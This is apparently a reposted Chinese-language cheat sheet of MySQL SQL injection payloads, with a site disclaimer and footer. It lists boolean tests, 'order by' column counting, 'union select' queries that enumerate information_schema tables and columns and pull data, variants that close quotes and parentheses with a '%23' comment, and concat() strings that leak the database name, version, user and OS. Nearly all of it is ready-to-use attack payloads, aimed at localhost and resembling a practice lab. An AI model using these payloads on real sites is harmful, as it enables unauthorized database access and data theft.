SQL注入語句


一、MySQL

測試SQL注入:

http://localhost/index.php?id=1 and 1=1

http://localhost/index.php?id=1 and 1=2

http://localhost/index.php?id=1'

 

測試字段數:

http://localhost/index.php?id=1 order by 字段數

 

查詢數據庫信息:

version()    當前使用的數據庫版本

user()     當前使用數據庫的用戶

database()     當前使用的數據庫名

@@version_compile_os    當前使用的數據庫所在的操作系統版本

current_date     當前數據庫的日期

 

查詢數據表

http://localhost/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 數據庫名hex值

 

查詢字段

http://localhost/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 數據表名hex值

 

查詢數據

http://localhost/index.php?id=1 union select 字段名,字段名,字段名 from 數據表

 

 

閉合語句:

 

 

URL:http://localhost/index.php?id=1

 

SQL語句:SELECT * FROM users WHERE id=1 LIMIT 0,1

 

注入語句:http://localhost/index.php?id=1 and 1=1 %23

 

SQL語句:SELECT * FROM users WHERE id=1 and 1=1 # LIMIT 0,1

 

 

URL:http://localhost/index.php?id=1

SQL語句:SELECT * FROM users WHERE id='1' LIMIT 0,1

注入語句:http://localhost/index.php?id=1' and 1=1 %23

SQL語句:SELECT * FROM users WHERE id='1' and 1=1 #' LIMIT 0,1

 

 

URL:http://localhost/index.php?id=1

 

SQL語句:SELECT * FROM users WHERE id=('1') LIMIT 0,1

 

注入語句:http://localhost/index.php?id=1') and 1=1 %23

 

SQL語句:SELECT * FROM users WHERE id=('1') and 1=1 #') LIMIT 0,1

 

URL:http://localhost/index.php?id=1

SQL語句:SELECT * FROM users WHERE id=("1") LIMIT 0,1

注入語句:http://localhost/index.php?id=1") and 1=1 %23

SQL語句:SELECT * FROM users WHERE id=("1") and 1=1 #") LIMIT 0,1

 

 

 

 

 

 

連接查詢

 

concat()函數

http://localhost/?id=1 union select 1,2,concat(database(),version(),user(),@@version_compile_os)

 

 

 concat_ws()函數

 concat_ws()函數第一個值是分割字符

 http://localhost/?id=1 union select 1,2,concat_ws('-----',database(),version(),user(),@@version_compile_os)

也可以使用char(字符對應的十進制ASCII) 代替字符

 http://localhost/?id=1 union select 1,2,concat_ws(char(58,58,58,58),database(),version(),user(),@@version_compile_os)

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM